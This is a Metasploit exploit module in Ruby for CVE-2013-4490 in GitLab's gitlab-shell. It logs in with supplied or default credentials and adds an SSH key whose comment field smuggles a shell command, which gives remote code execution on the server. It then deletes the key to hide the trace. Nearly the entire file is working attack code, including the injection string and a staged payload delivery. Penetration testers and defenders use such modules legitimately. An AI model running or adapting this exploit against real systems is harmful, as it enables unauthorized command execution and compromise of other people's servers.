##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'net/ssh'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'Gitlab-shell Code Execution',
'Description' => %q(
This module takes advantage of the addition of authorized
ssh keys in the gitlab-shell functionality of Gitlab. Versions
of gitlab-shell prior to 1.7.4 used the ssh key provided directly
in a system call resulting in a command injection vulnerability. As
this relies on adding an ssh key to an account valid credentials
are required to exploit this vulnerability.
),
'Author' =>
[
'Brandon Knight'
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://about.gitlab.com/2013/11/04/gitlab-ce-6-2-and-5-4-security-release/'],
['CVE', '2013-4490']
],
'Platform' => 'linux',
'Targets' =>
[
[ 'Linux',
{
'Platform' => 'linux',
'Arch' => ARCH_X86
}
],
[ 'Linux (x64)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86_64
}
],
[ 'Unix (CMD)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' =>
{
'RequiredCmd' => 'openssl perl python'
},
'BadChars' => "\x22"
}
}
],
[ 'Python',
{
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Payload' =>
{
'BadChars' => "\x22"
}
}
]
],
'CmdStagerFlavor' => %w( bourne printf ),
'DisclosureDate' => 'Nov 4 2013',
'DefaultTarget' => 0))
register_options(
[
OptString.new('USERNAME', [true, 'The username to authenticate as', 'root']),
OptString.new('PASSWORD', [true, 'The password for the specified username', '5iveL!fe']),
OptString.new('TARGETURI', [true, 'The path to Gitlab', '/'])
], self.class)
end
def exploit
login
case target['Platform']
when 'unix'
execute_command(payload.encoded)
when 'python'
execute_command("python -c \\\"#{payload.encoded}\\\"")
when 'linux'
execute_cmdstager(temp: './', linemax: 2800)
end
end
def execute_command(cmd, _opts = {})
key_id = add_key(cmd)
delete_key(key_id)
end
def check
res = send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'users', 'sign_in'))
if res && res.body && res.body.include?('GitLab')
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Unknown
end
end
def login
username = datastore['USERNAME']
password = datastore['PASSWORD']
signin_page = normalize_uri(target_uri.path.to_s, 'users', 'sign_in')
# Get a valid session cookie and authenticity_token for the next step
res = send_request_cgi(
'method' => 'GET',
'cookie' => 'request_method=GET',
'uri' => signin_page
)
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during login") unless res
local_session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0]
auth_token = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*?)"/).flatten[0]
if res.body.include? 'user[email]'
@gitlab_version = 5
user_field = 'user[email]'
else
@gitlab_version = 7
user_field = 'user[login]'
end
# Perform the actual login and get the newly assigned session cookie
res = send_request_cgi(
'method' => 'POST',
'cookie' => local_session_cookie,
'uri' => signin_page,
'vars_post' =>
{
'utf8' => "\xE2\x9C\x93",
'authenticity_token' => auth_token,
"#{user_field}" => username,
'user[password]' => password,
'user[remember_me]' => 0
}
)
fail_with(Failure::NoAccess, "#{peer} - Login failed") unless res && res.code == 302
@session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0]
fail_with(Failure::NoAccess, "#{peer} - Unable to get session cookie") if @session_cookie.nil?
end
def add_key(cmd)
if @gitlab_version == 5
@key_base = normalize_uri(target_uri.path.to_s, 'keys')
else
@key_base = normalize_uri(target_uri.path.to_s, 'profile', 'keys')
end
# Perform an initial request to get an authenticity_token so the actual
# key addition can be done successfully.
res = send_request_cgi(
'method' => 'GET',
'cookie' => "request_method=GET; #{@session_cookie}",
'uri' => normalize_uri(@key_base, 'new')
)
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res
auth_token = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*?)"/).flatten[0]
title = rand_text_alphanumeric(16)
key_info = rand_text_alphanumeric(6)
# Generate a random ssh key
key = OpenSSL::PKey::RSA.new 2048
type = key.ssh_type
data = [key.to_blob].pack('m0')
openssh_format = "#{type} #{data}"
# Place the payload in to the key information to perform the command injection
key = "#{openssh_format} #{key_info}';#{cmd}; echo '"
res = send_request_cgi(
'method' => 'POST',
'cookie' => "request_method=GET; #{@session_cookie}",
'uri' => @key_base,
'vars_post' =>
{
'utf8' => "\xE2\x9C\x93",
'authenticity_token' => auth_token,
'key[title]' => title,
'key[key]' => key
}
)
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res
# Get the newly added key id so it can be used for cleanup
key_id = res.headers['Location'].split('/')[-1]
key_id
end
def delete_key(key_id)
res = send_request_cgi(
'method' => 'GET',
'cookie' => "request_method=GET; #{@session_cookie}",
'uri' => @key_base
)
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res
auth_token = res.body.scan(/<meta content="(.*?)" name="csrf-token"/).flatten[0]
# Remove the key which was added to clean up after ourselves
res = send_request_cgi(
'method' => 'POST',
'cookie' => "#{@session_cookie}",
'uri' => normalize_uri("#{@key_base}", "#{key_id}"),
'vars_post' =>
{
'_method' => 'delete',
'authenticity_token' => auth_token
}
)
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res
end
end
